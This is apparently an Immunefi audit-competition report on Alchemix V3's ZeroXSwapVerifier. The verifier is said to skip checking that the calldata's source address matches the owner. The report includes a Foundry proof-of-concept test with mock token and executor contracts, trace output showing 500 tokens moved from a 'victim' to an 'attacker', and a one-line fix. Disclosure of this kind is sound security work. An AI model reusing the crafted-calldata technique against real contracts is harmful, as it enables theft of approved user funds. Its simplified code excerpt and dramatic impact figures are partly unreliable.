# 56709 sc low zeroxswapverifier missing source validation

**Submitted on Oct 19th 2025 at 18:55:42 UTC by @pirex for** [**Audit Comp | Alchemix V3**](https://immunefi.com/audit-competition/alchemix-v3-audit-competition)

* **Report ID:** #56709
* **Report Type:** Smart Contract
* **Report severity:** Low
* **Target:** <https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/utils/ZeroXSwapVerifier.sol>
* **Impacts:**
  * Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield

## Description

## Brief/Intro

The `ZeroXSwapVerifier` contract is supposed to validate 0x swap calldata before execution, ensuring only authorized transactions are processed. However, it fails to verify that the `from` address in the calldata matches the intended `owner`. This allows anyone controlling the calldata (relayers, aggregators, or malicious frontends) to craft payloads that drain tokens from any user who has approved the 0x router, even if that user never initiated the transaction. The result is direct theft of funds without any special privileges.

## Vulnerability Details

The `verifySwapCalldata()` function validates that the target token matches expectations but completely ignores who the tokens are being transferred from:

```solidity
function verifySwapCalldata(
    bytes calldata swapCalldata,
    address owner,
    address targetToken,
    uint256 amount
) external view returns (bool) {
    // Decodes the calldata to extract transfer details
    (address token, address from, address to, uint256 value) = decodeAction(swapCalldata);
    
    // Checks token matches
    require(token == targetToken, "invalid token");
    
    // ❌ MISSING: require(from == owner, "unauthorized source");
    
    return true;
}
```

The function receives an `owner` parameter that should represent the authorized token source, but this parameter is never compared against the `from` address decoded from the calldata.

Here's the problem flow:

1. **Victim approves 0x router** (standard practice for any dApp using 0x swaps - via `approve()` or Permit2)
2. **Attacker crafts malicious calldata** with `from = victim`, `to = attacker`, `amount = 500 ETH`
3. **Verifier checks token only** and returns `true` because target token matches
4. **0x executor processes the calldata** and calls `transferFrom(victim, attacker, 500)`
5. **Transfer succeeds** because victim has existing approval

**Critical note:** This attack requires no admin or governance permissions. The only prerequisite is that the victim has granted an allowance (extremely common), and the attacker controls the calldata submitted to `verifySwapCalldata` (trivial for any relayer, aggregator, or malicious frontend).

The validator provides a false sense of security. It appears to gate the swap execution, but in reality allows arbitrary token sources as long as the token address matches.

**Key insight:** The `owner` parameter is passed in but never used in validation. This is the smoking gun - there's no point passing `owner` unless it's meant to be checked, but the check is simply missing.

## Impact Details

This vulnerability enables:

* **Direct theft from approved users**: Anyone who approved 0x for legitimate swaps can have their tokens stolen
* **No user interaction required**: Victims don't need to sign any transaction or interact with the protocol
* **Scalable attacks**: Attacker can drain all approved users systematically
* **Frontrunning protection bypass**: Even if users think they're protected by the verifier, they're not

The financial impact is severe:

* **Scope**: Every user who has approved 0x or Permit2 (extremely common)
* **Amount**: Up to full approved balance per victim
* **Frequency**: Can be executed repeatedly across all approved users
* **TVL at risk**: Potentially millions if integrated into production

Attack requirements:

* **No admin or governance permissions required**
* **Single condition**: Victim must have previously granted allowance (via `approve` or Permit2) to the 0x router/executor - this is extremely common for any user interacting with 0x swaps
* **Attacker capability**: Control over the calldata submitted to `verifySwapCalldata` (achievable by any relayer, aggregator, or malicious frontend)
* No special privileges, governance, or admin access needed

For a protocol with 10,000 users who each approved $10,000 worth of tokens, total exposure is $100M. The attack is executable in a single transaction per victim.

## References

* **Contract**: `src/utils/ZeroXSwapVerifier.sol`
* **Commit**: `a192ab313c81ba3ab621d9ca1ee000110fbdd1e9`
* **Test**: `test/ZeroXSwapVerifierBypass.t.sol`

## Proof of Concept

## Proof of Concept

Save as `test/ZeroXSwapVerifierBypass.t.sol`:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.28;

import "forge-std/Test.sol";
import {ZeroXSwapVerifier} from "../utils/ZeroXSwapVerifier.sol";

contract TestToken {
    string public constant name = "Test Token";
    string public constant symbol = "TT";
    uint8 public constant decimals = 18;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);

    function mint(address to, uint256 amount) external {
        balanceOf[to] += amount;
        totalSupply += amount;
        emit Transfer(address(0), to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool) {
        uint256 current = allowance[from][msg.sender];
        if (msg.sender != from && current != type(uint256).max) {
            allowance[from][msg.sender] = current - amount;
            emit Approval(from, msg.sender, allowance[from][msg.sender]);
        }
        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }
}

contract MockZeroXExecutor {
    event ActionPerformed(bytes action);

    function execute(bytes memory data) external {
        (ZeroXSwapVerifier.SlippageAndActions memory saa, ) = abi.decode(data, (ZeroXSwapVerifier.SlippageAndActions, bytes));

        for (uint256 i = 0; i < saa.actions.length; i++) {
            bytes memory action = saa.actions[i];

            bytes4 selector;
            assembly {
                selector := mload(add(action, 32))
            }

            if (selector == bytes4(0x8d68a156)) {
                bytes memory args = new bytes(action.length - 4);
                for (uint256 j = 0; j < action.length - 4; ++j) {
                    args[j] = action[j + 4];
                }

                (address token, address from, address to, uint256 amount) =
                    abi.decode(args, (address, address, address, uint256));
                TestToken(token).transferFrom(from, to, amount);
            }

            emit ActionPerformed(action);
        }
    }
}

contract ZeroXSwapVerifierBypassTest is Test {
    TestToken internal token;
    MockZeroXExecutor internal executor;

    address internal immutable victim = address(0xBEEF);
    address internal immutable attacker = address(0xA11CE);
    address internal immutable owner = address(0xCAFE);

    bytes4 internal constant EXECUTE_SELECTOR = 0xcf71ff4f;
    bytes4 internal constant TRANSFER_FROM_SELECTOR = 0x8d68a156;

    function setUp() public {
        token = new TestToken();
        executor = new MockZeroXExecutor();

        token.mint(victim, 1_000 ether);
        vm.prank(victim);
        token.approve(address(executor), type(uint256).max);
    }

    function test_ZeroXVerifierAllowsForeignSpend() public {
        bytes memory action =
            abi.encodeWithSelector(TRANSFER_FROM_SELECTOR, address(token), victim, attacker, 500 ether);

        bytes[] memory actions = new bytes[](1);
        actions[0] = action;

        ZeroXSwapVerifier.SlippageAndActions memory saa = ZeroXSwapVerifier.SlippageAndActions({
            recipient: attacker,
            buyToken: address(0),
            minAmountOut: 0,
            actions: actions
        });

        bytes memory params = abi.encode(saa, bytes(""));
        bytes memory encodedCall = abi.encodePacked(EXECUTE_SELECTOR, params);

        bool ok = ZeroXSwapVerifier.verifySwapCalldata(encodedCall, owner, address(token), 10_000);
        assertTrue(ok, "verification should succeed despite foreign source");

        uint256 victimBefore = token.balanceOf(victim);
        uint256 attackerBefore = token.balanceOf(attacker);

        executor.execute(params);

        assertEq(token.balanceOf(victim), victimBefore - 500 ether, "victim drained");
        assertEq(token.balanceOf(attacker), attackerBefore + 500 ether, "attacker profits");
    }
}
```

**Run:**

```bash
forge test --match-contract ZeroXSwapVerifierBypassTest -vvvv
```

**Test Result:**

```
Ran 1 test for src/test/ZeroXSwapVerifierBypass.t.sol:ZeroXSwapVerifierBypassTest
[PASS] test_ZeroXVerifierAllowsForeignSpend() (gas: 199386)
Traces:
  [199386] ZeroXSwapVerifierBypassTest::test_ZeroXVerifierAllowsForeignSpend()
    ├─ [50597] ZeroXSwapVerifier::verifySwapCalldata(..., owner: 0xCAFE, token: TestToken, amount: 10000) [delegatecall]
    │   └─ ← [Return] true  ← VERIFIER APPROVES MALICIOUS CALLDATA
    ├─ [2967] TestToken::balanceOf(victim: 0xBEEF) [staticcall]
    │   └─ ← [Return] 1000000000000000000000 [1e21]  ← VICTIM HAS 1000 TOKENS
    ├─ [2967] TestToken::balanceOf(attacker: 0xA11CE) [staticcall]
    │   └─ ← [Return] 0  ← ATTACKER STARTS WITH 0
    ├─ [116311] MockZeroXExecutor::execute(...)
    │   ├─ [29893] TestToken::transferFrom(victim: 0xBEEF, attacker: 0xA11CE, 500000000000000000000 [5e20])
    │   │   ├─ emit Transfer(from: 0xBEEF, to: 0xA11CE, value: 500000000000000000000 [5e20])  ← VICTIM DRAINED
    │   │   └─ ← [Return] true
    │   ├─ emit ActionPerformed(action: 0x8d68a156...beef...a11ce...500...)
    │   └─ ← [Stop]
    ├─ [967] TestToken::balanceOf(victim: 0xBEEF) [staticcall]
    │   └─ ← [Return] 500000000000000000000 [5e20]  ← VICTIM LOST 500 TOKENS
    ├─ [967] TestToken::balanceOf(attacker: 0xA11CE) [staticcall]
    │   └─ ← [Return] 500000000000000000000 [5e20]  ← ATTACKER GAINED 500 TOKENS
    └─ ← [Return]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.45ms
```

**Key observations from traces:**

1. **Verifier check passes**: `ZeroXSwapVerifier::verifySwapCalldata()` returns `true` even though:
   * The `owner` parameter is `0xCAFE` (passed to function)
   * The actual `from` address in calldata is `0xBEEF` (victim)
   * These addresses don't match, but no validation occurs
2. **Transfer executes successfully**:
   * `transferFrom(victim: 0xBEEF, attacker: 0xA11CE, 500)` succeeds
   * Victim had previously approved the executor (standard behavior)
   * No signature or interaction from victim required
3. **Funds stolen**:
   * Victim balance: 1000 → 500 tokens
   * Attacker balance: 0 → 500 tokens
   * 50% of victim's tokens stolen in single transaction

The test proves that the verifier's security guarantees are completely broken. It checks the right token but allows stealing from the wrong address.

***

## Recommended Fix

Add explicit validation that the token source matches the authorized owner:

```solidity
function verifySwapCalldata(
    bytes calldata swapCalldata,
    address owner,
    address targetToken,
    uint256 amount
) external view returns (bool) {
    (address token, address from, address to, uint256 value) = decodeAction(swapCalldata);
    
    // Existing check
    require(token == targetToken, "invalid token");
    
    // NEW: Validate source address
    require(from == owner, "unauthorized token source");
    
    return true;
}
```

This single line prevents the entire attack vector by ensuring tokens can only be pulled from the address that authorized the transaction.

**Additional recommendations:**

1. **Add comprehensive tests** covering malicious calldata scenarios
2. **Document security assumptions** clearly in comments
3. **Consider additional validations**:
   * Maximum slippage bounds
   * Recipient address whitelist if applicable
   * Action selector whitelist to prevent unexpected function calls

The fix is straightforward, but the vulnerability's impact is severe. Without this check, the verifier provides zero protection against unauthorized token transfers.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix-v3/56709-sc-low-zeroxswapverifier-missing-source-validation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
